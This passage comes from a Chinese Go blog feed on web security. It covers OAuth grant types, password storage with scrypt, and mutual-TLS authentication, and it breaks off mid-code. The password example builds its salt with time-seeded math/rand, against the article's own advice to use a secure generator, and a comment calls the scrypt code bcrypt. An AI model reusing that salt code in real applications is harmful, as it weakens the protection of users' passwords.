适用于没有后端的纯前端应用，客户端直接获得访问令牌Access Token，而无须客户端授权码这个中间步骤。\n密码式（password） 资源所有者的认证凭据（即用户名和密码）直接告诉第三方应用，该应用随即使用密码申请令牌。\n凭证式（client credentials） 适用于没有前端的命令行应用，即在命令行下请求令牌。采用客户端自己的凭据，而不是用户的凭据来作为授权依据，获取资源的访问权限。\n在这四种授权方式中，授权码是OAuth协议中主要的授权流程，相比其他的授权模式，其流程最为完备，适用于互联网应用的第三方授权场景。\n由于OAuth授权相对较为复杂，涉及角色和环节很多，很难用一个例子将其全貌展现出来，这里就不举代码示例了。如果你的系统并不涉及到第三方，既不为第三方提供服务，也不使用第三方的服务，那引入OAuth 2.0其实就没必要。\n5. 小结 本文首先介绍了授权的相关概念，着重说明了授权与访问控制的紧密联系和些许差别。之后，我们对5种常见的访问控制模型逐一做了说明，包括它们的使用场景与优缺点。为了帮助大家更好地理解当今主流使用的RBAC和ABAC模型，我还将一个示例分别用casbin和opa作了实现。\n在文章的最后，我们简单介绍了用于第三方授权的OAuth授权框架，包括它的协议中涉及的主要角色以及资源所有者给予客户端授权的4种方式，大家可以根据自己的理解，自行基于像微信或github这样的支持三方授权的应用编写一些简单示例。\n本文示例所涉及的Go源码可以在这里下载。\n6. 参考资料 《API安全实战》 – https://book.douban.com/subject/36039150/ 《API安全技术与实战》 – https://book.douban.com/subject/35429043/ 授权（上）：系统如何确保授权的过程可靠？ – https://time.geekbang.org/column/article/331411 授权（下）：系统如何确保授权的结果可控？ – https://time.geekbang.org/column/article/332255 Authorization Cheat Sheet – https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html Acess Control(owasp) – https://owasp.org/www-community/Access_Control Web App Access Control Design – https://owasp.org/www-pdf-archive/ASDC12-Access_Control_Designs_and_Pitfalls.pdf OPA: The Cloud Native Policy Engine – https://www.slideshare.net/TorinSandall/opa-the-cloud-native-policy-engine ACL模型 – https://en.wikipedia.org/wiki/Access-control_list MAC模型 – https://en.wikipedia.org/wiki/Mandatory_access_control DAC模型 – https://en.wikipedia.org/wiki/Discretionary_access_control RBAC模型 – https://en.wikipedia.org/wiki/Role-based_access_control ABAC模型 – https://en.wikipedia.org/wiki/Attribute-based_access_control Open Policy Agent Introdution – https://www.openpolicyagent.org/docs/latest/#5-try-opa-as-a-go-library Casbin: Syntax for Models – https://casbin.org/docs/syntax-for-models OAuth 2.0 的四种方式 – https://www.ruanyifeng.com/blog/2019/04/oauth-grant-types.html OAuth – https://en.wikipedia.org/wiki/OAuth “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/11/04/understand-go-web-authz-by-example/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-go-web-authz-by-example-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/11/04/understand-go-web-authz-by-example\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/11/04/understand-go-web-authz-by-example\"\u003ehttps://tonybai.com/2023/11/04/understand-go-web-authz-by-example\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在前面的系列文章中，我们了解了\u003ca href=\"https://tonybai.com/2023/10/23/understand-go-web-authn-by-example/\"\u003eGo Web应用身份认证的几种方式\u003c/a\u003e，也知道了该\u003ca href=\"https://tonybai.com/2023/10/25/understand-password-storage-of-web-app-by-example\"\u003e如何相对安全地存储用户的密码信息\u003c/a\u003e，最大程度减小在系统数据库被攻破时用户密码信息的泄露程度。\u003c/p\u003e\n\u003cp\u003e一旦用户通过身份验证，他/她就可以以合法的身份进入到系统中，那么问题来了：\u003cstrong\u003e用户进入系统后是否就可以“为所欲为”了呢\u003c/strong\u003e？显然不是! 比如我们以普通用户身份登录github，身份验证成功后，我们只能增删改自己账号下的代码仓库数据或读取其他用户的公开仓库(public)数据，我们无法修改和删除其他用户下面的仓库数据，甚至看不到其他用户的私有仓库。Web应用系统(比如github)的这种对用户可以使用什么功能、可以访问和修改哪些数据的管理和控制，就是\u003cstrong\u003e授权(Authorization)\u003c/strong\u003e，简称为\u003cstrong\u003eAuthZ\u003c/strong\u003e。\u003c/p\u003e","title":"通过实例理解Web应用授权的几种方式"},{"content":"\n本文永久链接 – https://tonybai.com/2023/10/25/understand-password-storage-of-web-app-by-example\n在上一篇文章《通过实例理解Go Web身份认证的几种方式》中，我们了解了Web应用的多种身份验证方式。但无论哪种方式，用户初次访问Web应用的注册流程和登录流程是不可避免的，而基于用户名密码的注册流程依旧是当今主流。注册后，Web应用后端是如何保存用户密码的呢？历史上都有哪些存储方案？当今的主流存储方案又是什么呢？在这篇文章中，我们就来说说Web应用的各种密码存储方案的优缺点，并通过实例来理解一下当前的主流存储方案。\n1. Web应用用户密码存储的重要性 用户密码是访问Web应用的关键，它直接关乎到用户账号和应用数据的安全。\n如果用户密码被泄露或破解，将导致严重后果。后果最轻的算是某个用户或某少数用户的账号被盗用了，用户将失去对账号的控制。盗用账号后，攻击者可以获取该用户的私密信息，或进行额外的攻击；如果用户在多个应用重复使用同一密码，那么后果将进一步严重，用户的一系列账号都将受到安全威胁；更为严重的是Web应用存储用户账号信息的数据库被攻破(俗称“脱库”)，攻击者会拿到存储的全部用户账号信息等，如果用户密码存储不当，攻击者可以很容易破译所有用户的密码，并基于这些密码信息做进一步的攻击。\n由此可见，Web应用必须非常重视用户密码的存储安全。在当前弱密码和频繁密码泄露成为常态的背景下，Web应用开发者有责任使用安全的密码存储方案，尽力保护用户信息安全，即便在被脱库的最糟糕情况下，也不让攻击者轻易破解出用户的密码，这也关系到应用和企业的信誉。\n2. 密码存储方案的演进：魔高一尺，道高一丈 Web应用用户密码存储方案的演进历史可以分为以下几个阶段，如图所示：\n下面我们按图中的演进顺序，对各阶段的密码存储方案逐一说明一下。\n2.1 起始阶段 – 明文存储 早期的Web应用为了实现简单，采用了最简单“粗暴”的用户密码存储方式：明文存储，即直接把用户的密码以纯文本形式存储在数据库中。\n显然这种方式的最大优点就是实现简单，验证登录时直接比对明文密码。但这种方式最大的缺点就是极其不安全，密码一旦泄露就失去了全部保密性。但当时人们的安全意识较弱，该方案被广泛使用。\n2.2 弱哈希算法阶段 – MD5和SHA1 随着时间的推移，CPU和GPU性能的提升使得字典破解和穷举攻击更加可行有效，大量密码被泄露的事件引起人们对密码安全的重视，人们更多地认识到明文存储密码的危险性。同时，Web应用的发展也从追求功能和便利，转变为在易用性与安全性之间求平衡。政府和行业协会也开始指定密码存储的最新安全要求的规范和政策，密码学等相关技术的快速发展也为更安全的密码存储提供了前提和支持。\n于是人们开始使用MD5、SHA1等单向哈希算法对密码进行处理，只存储密码的哈希值。虽然增加了一定的密码存储的复杂性，但其最大的优点就是在一定程度上放置了明文存储的密码泄露问题。\n不过，随着大量使用MD5和SHA-1的应用遭到破解，这些哈希算法的脆弱性暴露无遗。同时彩虹表攻击的出现，让破解者只需要预计算密码哈希表就可以快速破解以弱哈希存储的密码。\n于是技术社区以及安全规范都开始提倡和推荐采用更安全的密码存储方案，即采用加盐方案。\n2.3 加盐哈希阶段 – 增加随机盐值 加盐哈希就是在计算密码的哈希值时，在密码字符串前/后面添加一个称为“盐(salt)”的随机字符串，这个随机字符串称为盐值，它的作用是增加哈希后密码的随机性。\n加盐哈希的步骤大致如下图：\n在用户注册阶段，系统根据用户输入的密码生成在数据库中的哈希密码值：\n系统首先随机生成一个足够长的随机字符串作为盐值，可以使用密码学安全的随机数生成算法； 将盐值与用户输入的原始密码字符串拼接在一起(盐值放在密码的前后均可)； 对连接后的字符串计算哈希值，可以使用MD5、SHA-1、SHA256、SHA-512等哈希算法；由于也被证实MD5、SHA-1存在弱点，可以被碰撞攻击，建议至少使用SHA256算法； 将盐值和哈希值一起存储在数据库中(可以向图中那样将hashed_password和salt通过:分隔符组合为一个字段后再存储在数据库中)。 验证登录时，系统根据用户名取出盐值，然后将用户输入的密码与盐值组合计算哈希值，与存储的原始哈希值比较，相同则验证成功。\n在密码哈希前加入随机字符串(即“盐(salt)”)可以大幅增加了破解难度，同时不同用户如采用相同密码，也可以通过不同的盐在哈希后得到不同的哈希值，这可以有效地防止预计算表的攻击。\n不过随着硬件算力的飞速提高，比如GPU、专用ASIC芯片以及云计算资源等，密码破解效率进一步提高，甚至普通人也可利用现成的破解工具和云资源进行密码破解，攻击者门槛大幅降低，简单加盐也已出现不能有效对抗硬件加速破解的情况。\n于是人们开始考虑使用一些新哈希算法，这些算法可以大幅提高攻击者付出的时间和资源消耗成本，增加密码破解难度，这就是下面我们要说的慢哈希算法。\n2.4 慢哈希算法阶段 – Argon2、Bcrypt、Scrypt和PBKDF2 Argon2、Bcrypt、Scrypt和PBKDF2是目前主流的慢哈希算法，它们与SHA256等快速哈希算法的主要差异点如下:\n计算速度更慢，需要消耗更多CPU和内存资源，从而对抗硬件加速攻击； 使用更复杂的算法，组合密码学原语，增加破解难度； 可以配置资源消耗参数，调整安全强度； 特定优化使并行计算困难； 经过长时间的密码学分析，仍然安全可靠。 从这些特点可以知道：这些慢哈希算法更适合密码哈希的原因是可以大幅增加攻击者密码破解的成本，如果这么说大家印象还不够深刻，我们就来量化对比一下，下面是以SHA256和Scrypt两个算法为例做的一个简单的benchmark测试：\n// web-app-password-storage/benchmark/benchmark_test.go package main import ( \u0026quot;crypto/sha256\u0026quot; \u0026quot;testing\u0026quot; \u0026quot;golang.org/x/crypto/scrypt\u0026quot; ) func BenchmarkSHA256(b *testing.B) { b.ReportAllocs() data := []byte(\u0026quot;hello world\u0026quot;) b.ResetTimer() for i := 0; i \u0026lt; b.N; i++ { sha256.Sum256(data) } } func BenchmarkScrypt(b *testing.B) { b.ReportAllocs() const keyLen = 32 data := []byte(\u0026quot;hello world\u0026quot;) b.ResetTimer() for i := 0; i \u0026lt; b.N; i++ { scrypt.Key(data, data, 16384, 8, 1, keyLen) } } 我们看看输出的benchmark结果是什么样的：\n$go test -bench . goos: darwin goarch: amd64 pkg: demo ... ... BenchmarkSHA256-8 6097324 195.3 ns/op 0 B/op 0 allocs/op BenchmarkScrypt-8 26 41812138 ns/op 16781836 B/op 22 allocs/op PASS ok demo 2.533s 我们看到无论是cpu消耗还是内存开销，Scrypt算法都是SHA256的几个数量级的倍数。\n加盐的慢哈希也是目前的主流的用户密码存储方案，那有读者会问：这四个算法选择哪个更佳呢？说实话要想对这个四个算法做个全面的对比，需要很强的密码学专业知识，这里直接给结论(当然也是来自网络资料)：建议使用Scrypt或Argon2系列的算法，它们俩可提供更高的抗ASIC和并行计算能力，Bcrypt由于简单高效和成熟，目前也仍十分流行。\n不过，慢哈希算法在给攻击者带来时间和资源成本等困难的同时，也给服务端正常的身份认证带来一定的性能开销，不过大多数开发者认为这种设计取舍是值得的。\n下面我们就基于慢哈希算法结合加盐，用实例说明一下一个Web应用的用户注册与登录过程中，密码是如何被存储和用来验证用户身份的。\n3. 加盐哈希存储方案的示例 在这个示例中，我们建立两个html文件：一个是signup.html，用于模拟用户注册；一个是login.html，用于模拟用户登录：\n// web-app-password-storage/signup.html \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;注册\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;form action=\u0026quot;http://localhost:8080/signup\u0026quot; method=\u0026quot;post\u0026quot;\u0026gt; \u0026lt;label\u0026gt;用户名:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026quot;text\u0026quot; name=\u0026quot;username\u0026quot;/\u0026gt; \u0026lt;label\u0026gt;密码:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026quot;password\u0026quot; name=\u0026quot;password\u0026quot;/\u0026gt; \u0026lt;label\u0026gt;确认密码:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026quot;password\u0026quot; name=\u0026quot;confirm-password\u0026quot;/\u0026gt; \u0026lt;button type=\u0026quot;submit\u0026quot;\u0026gt;注册\u0026lt;/button\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; // web-app-password-storage/login.html \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;登录\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;form action=\u0026quot;http://localhost:8080/login\u0026quot; method=\u0026quot;post\u0026quot;\u0026gt; \u0026lt;label\u0026gt;用户名:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026quot;text\u0026quot; name=\u0026quot;username\u0026quot;/\u0026gt; \u0026lt;label\u0026gt;密码:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026quot;password\u0026quot; name=\u0026quot;password\u0026quot;/\u0026gt; \u0026lt;button type=\u0026quot;submit\u0026quot;\u0026gt;登录\u0026lt;/button\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 接下来，我们来写这个web应用的后端：一个http server：\n// web-app-password-storage/server/main.go package main import ( \u0026quot;database/sql\u0026quot; \u0026quot;encoding/base64\u0026quot; \u0026quot;math/rand\u0026quot; \u0026quot;net/http\u0026quot; \u0026quot;strings\u0026quot; \u0026quot;time\u0026quot; \u0026quot;golang.org/x/crypto/scrypt\u0026quot; _ \u0026quot;modernc.org/sqlite\u0026quot; ) var db *sql.DB func main() { // 连接SQLite数据库 var err error db, err = sql.Open(\u0026quot;sqlite\u0026quot;, \u0026quot;./users.db\u0026quot;) if err != nil { panic(err) } defer db.Close() // 创建用户表 sqltable := ` CREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, hashedpass TEXT ); ` _, err = db.Exec(sqltable) if err != nil { panic(err) } http.HandleFunc(\u0026quot;/login\u0026quot;, login) http.HandleFunc(\u0026quot;/signup\u0026quot;, signup) http.ListenAndServe(\u0026quot;:8080\u0026quot;, nil) } func signup(w http.ResponseWriter, r *http.Request) { username := r.FormValue(\u0026quot;username\u0026quot;) password := r.FormValue(\u0026quot;password\u0026quot;) cpassword := r.FormValue(\u0026quot;confirm-password\u0026quot;) if password != cpassword { http.Error(w, \u0026quot;password and confirmation password do not match\u0026quot;, http.StatusBadRequest) return } // 注册新用户 salt := generateSalt(16) hashedPassword := hashPassword(password, salt) stmt, err := db.Prepare(\u0026quot;INSERT INTO users(username, hashedpass) values(?, ?)\u0026quot;) if err != nil { panic(err) } _, err = stmt.Exec(username, hashedPassword+\u0026quot;:\u0026quot;+salt) if err != nil { panic(err) } w.Write([]byte(\u0026quot;signup ok!\u0026quot;)) } func login(w http.ResponseWriter, r *http.Request) { username := r.FormValue(\u0026quot;username\u0026quot;) password := r.FormValue(\u0026quot;password\u0026quot;) // 验证登录 storedHashedPassword, salt := getHashedPasswordForUser(db, username) hashedLoginPassword := hashPassword(password, salt) if hashedLoginPassword == storedHashedPassword { w.Write([]byte(\u0026quot;Welcome!\u0026quot;)) } else { http.Error(w, \u0026quot;Invalid username or password\u0026quot;, http.StatusUnauthorized) // 401 } } // 生成随机字符串作为盐值 func generateSalt(n int) string { rand.Seed(time.Now().UnixNano()) letters := []rune(\u0026quot;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\u0026quot;) b := make([]rune, n) for i := range b { b[i] = letters[rand.Intn(len(letters))] } return string(b) } // 对密码进行bcrypt哈希并返回哈希值与随机盐值 func hashPassword(password, salt string) string { dk, err := scrypt.Key([]byte(password), []byte(salt), 1\u0026lt;\u0026lt;15, 8, 1, 32) if err != nil { panic(err) } return base64.StdEncoding.EncodeToString(dk) } // 从数据库获取用户哈希后的密码和盐值 func getHashedPasswordForUser(db *sql.DB, username string) (string, string) { var hashedPass string row := db.QueryRow(\u0026quot;SELECT hashedpass FROM users WHERE username=?\u0026quot;, username) if err := row.Scan(\u0026amp;hashedPass); err != nil { panic(err) } split := strings.Split(hashedPass, \u0026quot;:\u0026quot;) return split[0], split[1] } 示例的结构比较清晰，这里提供了两个http handler，一个是signup用于接收用户注册请求，一个是login，用于接收处理用户登录请求。在注册请求时，我们生成用户密码的带盐慢哈希值，与salt一起存入数据库，这里用sqlite代替通用关系型数据库；在login handler中，我们根据username读取数据库中的salt和hashed_password，然后基于请求中的password与salt重新做一遍hash，将得到的结果与数据库中读取的hashed_password比较，相同则说明用户输入的密码正确。\nGo官方维护的golang.org/x/crypto为我们提供了高质量的scrypt包，当然crypto下也有bcrypt、argon2和pbkdf2的实现，感兴趣的童鞋可以自行研究。\n4. 小结 用户密码的安全存储是保障Web应用与用户数据安全的基石。简单的密码存储实践如明文和弱哈希算法存在巨大隐患，而随着计算能力提升，任何weak password都可被轻松破解。为有效保护用户，Web应用必须采取更可靠的密码存储方案。\n本文详细介绍了从简单明文、单向哈希到先进的加盐慢哈希的演进历程。我们看到，这是一场与不断增强的攻击手段进行的应对之争。随着硬件计算能力、并行与云计算等技术进步，必须加强密码存储机制的强度。当前，结合随机盐、迭代计算的慢哈希可大幅提高破解难度，是推荐的密码存储安全实践。\n当然，密码安全需要持续关注新兴攻击手段，并及时采纳更强大的算法。这不仅是技术问题，也需要整个社区的共同努力，通过提高意识和最佳实践来保护用户。\n本文示例所涉及的Go源码可以在这里下载。\n5. 参考资料 《API安全实战》 – https://book.douban.com/subject/36039150/ 《API安全技术与实战》 – https://book.douban.com/subject/35429043/ 保密：系统如何保证敏感数据无法被内外部人员窃取滥用？ – https://time.geekbang.org/column/article/334293 “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/10/25/understand-password-storage-of-web-app-by-example/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-password-storage-of-web-app-by-example-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/10/25/understand-password-storage-of-web-app-by-example\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/10/25/understand-password-storage-of-web-app-by-example\"\u003ehttps://tonybai.com/2023/10/25/understand-password-storage-of-web-app-by-example\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在上一篇文章\u003ca href=\"https://tonybai.com/2023/10/23/understand-go-web-authn-by-example\"\u003e《通过实例理解Go Web身份认证的几种方式》\u003c/a\u003e中，我们了解了Web应用的多种身份验证方式。但无论哪种方式，用户初次访问Web应用的注册流程和登录流程是不可避免的，而基于用户名密码的注册流程依旧是当今主流。注册后，Web应用后端是如何保存用户密码的呢？历史上都有哪些存储方案？当今的主流存储方案又是什么呢？在这篇文章中，我们就来说说Web应用的各种密码存储方案的优缺点，并通过实例来理解一下当前的主流存储方案。\u003c/p\u003e","title":"通过实例理解Web应用用户密码存储方案"},{"content":"\n本文永久链接 – https://tonybai.com/2023/10/23/understand-go-web-authn-by-example\n在2023年Q1 Go官方用户调查报告中，API/RPC services、Websites/web services都位于使用Go开发的应用类别的头部(如下图)：\n我个人使用Go开发已很多年，但一直从事底层基础设施、分布式中间件等方向，Web应用开发领域涉及较少，像Web应用领域常见的CRUD更是少有涉猎，不能不说是一种“遗憾”^_^。未来一段时间，团队会接触到Web应用的开发，我打算对Go Web应用开发的重点环节做一个快速系统的梳理。\n而身份认证(Authentication，简称AuthN)是Web应用开发中一个关键的环节，也是首个环节，它负责验证用户身份，让用户可以以认证过的身份访问系统中的资源和信息。\nGo语言作为一门优秀的Web开发语言，提供了丰富的机制来实现Web应用的用户身份认证。在这篇文章中，我就通过Go示例和大家一起探讨一下当前Web应用开发中几种常见的主流身份认证方式，帮助自己和各位读者迈出Web应用开发修炼之路的第一步。\n1. 身份认证简介 1.1 身份认证解决的问题 身份认证不局限于Web应用，各种系统都会有身份认证，但本文我们聚焦Web应用领域的身份认证技术。\n几乎所有Web应用的安全性都是从身份认证开始的，身份认证是验证用户身份真实性的过程，是我们首先要部署的策略。位于下游的安全控制，如授权(Authorization, AuthZ)、审计日志(Audit log)等，几乎都需要用户的身份。\n身份认证的英文是Authentication，简写为AuthN，大家不要将之与授权Authorization(AuthZ)混淆(在后续系列文章中会继续探讨AuthZ相关的内容)，他们所要解决的问题相似，但有不同，也有先后。通常先AuthN，再AuthZ。我们可以用下面的比喻来形象地解释二者的联系与差异:\nAuthN就像是进入公司大楼的安检，负责检查员工的身份是否合法，是否具有进入公司的资格，它解决的是验证员工身份的问题。 AuthZ更像是公司内部的权限管理，某个员工进入了公司后(AuthN后)想访问一些重要资料，这时还需要确认该员工是否有相应的访问权限。它解决的是授权访问控制的问题。 简单来说，AuthN是验证你是谁，authZ是验证你有哪些权限。AuthN解决认证问题，AuthZ解决授权问题，这两个都重要，AuthN解决外部的安全问题，authZ解决内部的安全与合规问题。\n1.2 身份认证的三要素 身份认证需要被认证方提供一些身份信息输入，这些代表身份信息的输入被称为身份认证要素（authentication factor）。这些要素有很多，大致可分为三类：\n你知道的东西(What you know) 即基于被认证方知道的特定信息来验证身份，最常见的如密码等。\n你拥有的东西(What you have) 基于被认证方所拥有的特定物件来验证身份，最常见的利用数字证书、令牌卡等。N年前，在移动端应用还没有发展起来时，一些人在银行办理电子银行业务时会拿到一个U盾(又称为USBKey)，其中存放着用于用户身份识别的数字证书，这个U盾就属于此类要素。\n上面比喻中进入大楼时使用的员工卡也属于这类要素。\n你本身就具有的(What you are) 即基于被认证方所拥有的生物特征要素(biometric factor)来验证身份，最常见的人脸识别、指纹/声纹/虹膜识别和解锁等。理论上来说，具备个人生物特征的身份认证标志具有不可仿冒性、唯一性。\n如果上面比喻中的大楼已经开启了人脸识别功能，那么基于人脸识别的认证就属于这类要素的认证。\n通常我们会基于单个要素设计身份认证方案，一旦使用两个或两个以上不同类的要素，就可以被称为**双因素认证(2FA)或多因素认证(MFA)**了。不过，2FA和MFA都比较复杂，不再本篇文章讨论范围之内。\n基于上述要素，我们就可以设计和实现各种适合不同类别Web应用或API服务的身份认证方法了。Web应用和API服务都需要身份认证，它们有什么差异呢？这些差异是否会对身份认证方案产生影响呢？我们接下来看一下。\n1.3 Web应用身份认证 vs. API服务身份认证 Web应用和API服务主要有以下几点区别:\n交互方式不同 Web应用是浏览器与服务器之间的交互，用户通过浏览器访问Web应用。而API服务是程序/应用与服务器之间的交互，通过API请求获取数据或执行操作。\n返回数据格式不同 Web应用通常会返回html/js/css等浏览器可解析执行的代码，而API服务通常返回结构化数据，常见的如JSON或XML等。\n使用场景不同 Web应用主要面向人类用户的使用，用户通过浏览器进行操作。而API服务主要被其他程序调用，为程序之间提供接口与数据支撑。\n状态管理不同 Web应用在服务端保存会话状态，浏览器通过cookie等保存用户状态。而API服务通常是无状态的，每次请求都需要携带用于身份认证的信息，比如访问令牌或API Key等。\n安全方面的关注点不同 Web应用更关注XSS、CSRF等输入验证安全，而API服务更关注身份认证(authN)、授权(authZ)、准入(admission)、限流等访问控制安全。\n总之，Web应用注重界面的展示和用户交互；而API服务注重数据和服务的提供，它们有不同的使用场景、交互方式和安全关注点。\nWeb应用和API服务的这些差异也导致了Web应用和API服务适合使用的身份认证方案上会有所不同。但前后端分离架构的出现和普及，让前后端责任分离：前端专注于视图和交互，后端专注数据和业务，并且前后端通过标准化的API接口进行数据交互。这可以让后端提供统一的认证接口，不同的前端可以共享。像基于Token这样的无状态易理解的身份验证机制逐渐成为主流。也就是说，架构模式的变化，使得Web应用和API服务在身份验证(authN)方案上出现了一些融合的现象，因此在身份认证方法上，Web应用和API服务也存在一些交集。\n下面维韦恩图列出了三类身份认证方法，包括仅适用于Web应用的、仅适用于API服务的以及两者都适用的：\n本文聚焦Web应用的身份认证方式，接下来会重点说说上图中绿色背景色的几种身份认证方式。\n2. 安全信道是身份认证的前提和基础 在对具体的Web身份认证方式进行说明之前，我们先来了解一下身份认证的前提和基础 – 安全信道。\n在Web应用身份认证的过程中，无论采用何种认证方式，用户的身份要素信息(用户名/密码、token、生物特征信息)都要传递给服务器，这时候如果传递此类信息的通信信道不安全，这些重要的认证要素信息就很容易被中间人截取、破解、篡改并被冒充，从而获得Web应用的使用权。从服务端角度来看，如果没有安全信道，服务器身份也容易被伪装，导致用户连接到“冒牌服务器”并导致严重后果。因此，没有建立在安全信道上的身份认证是不安全，不具备实际应用价值的，甚至是完全没有意义的。\n此外，安全信道不仅对登录阶段的身份认证环节有重要意义，在用户已登录并访问Web应用其他功能页面时，安全通道也可以对数据的传输以及类似访问令牌或Cookie数据的传输起到加密和保护作用。\n在Web应用领域，最常用的安全信道建立方式是基于HTTPS(HTTP over TLS)或直接建立在TLS之上的自定义通信，TLS利用证书对通信进行加密、验证服务器身份（甚至是客户端身份的验证），保障信息的机密性和完整性。各大安全规范和标准如PCI DSS(Payment Card Industry Data Security Standard)、OWASP也强制要求使用HTTPS保障认证安全。\n基于安全信道，我们还可以实施第一波的身份认证，这就是我们通常所说的基于HTTPS(或TLS)的双向身份认证。\n注：在我的《Go语言精进之路vol2》一书中，对TLS的机制以及基于Go标准库的TLS的双向认证有系统全面的说明，欢迎各位童鞋阅读反馈。\n这种认证方式采用的是身份认证要素中的第二类要素：What you have。客户端带着归属于自己的专有证书去服务端做身份验证。如果client证书通过服务端的验签后，便可允许client进入“大楼”。\n下面是一个基于TLS证书做身份认证的客户端与服务端交互的示意图：\n我们先看看对应上述示意图中的客户端的代码：\n// authn-examples/tls-authn/client/main.go func main() { // 1. 读取客户端证书文件 clientCert, err := tls.LoadX509KeyPair(\u0026quot;client-cert.pem\u0026quot;, \u0026quot;client-key.pem\u0026quot;) if err != nil { log.Fatal(err) } // 2. 读取中间CA证书文件 caCert, err := os.ReadFile(\u0026quot;inter-cert.pem\u0026quot;) if err != nil { log.Fatal(err) } certPool := x509.NewCertPool() certPool.AppendCertsFromPEM(caCert) // 3. 发送请求 client := \u0026amp;http.Client{ Transport: \u0026amp;http.Transport{ TLSClientConfig: \u0026amp;tls.Config{ Certificates: []tls.Certificate{clientCert}, RootCAs: certPool, }, }, } req, err := http.NewRequest(\u0026quot;GET\u0026quot;, \u0026quot;https://server.com:8443\u0026quot;, nil) if err != nil { log.Fatal(err) } resp, err := client.Do(req) if err != nil { log.Fatal(err) } // 4. 打印响应信息 fmt.Println(\u0026quot;Response Status:\u0026quot;, resp.Status) // fmt.Println(\u0026quot;Response Headers:\u0026quot;, resp.Header) body, _ := io.ReadAll(resp.Body) fmt.Println(\u0026quot;Response Body:\u0026quot;, string(body)) } 客户端加载client-cert.pem作为后续与服务端通信的身份凭证，加载inter-cert.pem用于校验服务端在tls握手过程发来的服务端证书(server-cert.pem)，避免连接到“冒牌站点”。通过验证后，客户端向服务端发起Get请求并输出响应的内容。\n下面是服务端的代码：\n// authn-examples/tls-authn/server/main.go func main() { var validClients = map[string]struct{}{ \u0026quot;client.com\u0026quot;: struct{}{}, } // 1. 加载证书文件 cert, err := tls.LoadX509KeyPair(\u0026quot;server-cert.pem\u0026quot;, \u0026quot;server-key.pem\u0026quot;) if err != nil { log.Fatal(err) } caCert, err := os.ReadFile(\u0026quot;inter-cert.pem\u0026quot;) if err != nil { log.Fatal(err) } certPool := x509.NewCertPool() certPool.AppendCertsFromPEM(caCert) // 2. 配置TLS tlsConfig := \u0026amp;tls.Config{ Certificates: []tls.Certificate{cert}, ClientAuth: tls.RequireAndVerifyClientCert, // will trigger the invoke of VerifyPeerCertificate ClientCAs: certPool, } // tls.Config设置 tlsConfig.VerifyPeerCertificate = func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error { // 获取客户端证书 cert := verifiedChains[0][0] // 提取CN作为客户端标识 clientID := cert.Subject.CommonName fmt.Println(clientID) _, ok := validClients[clientID] if 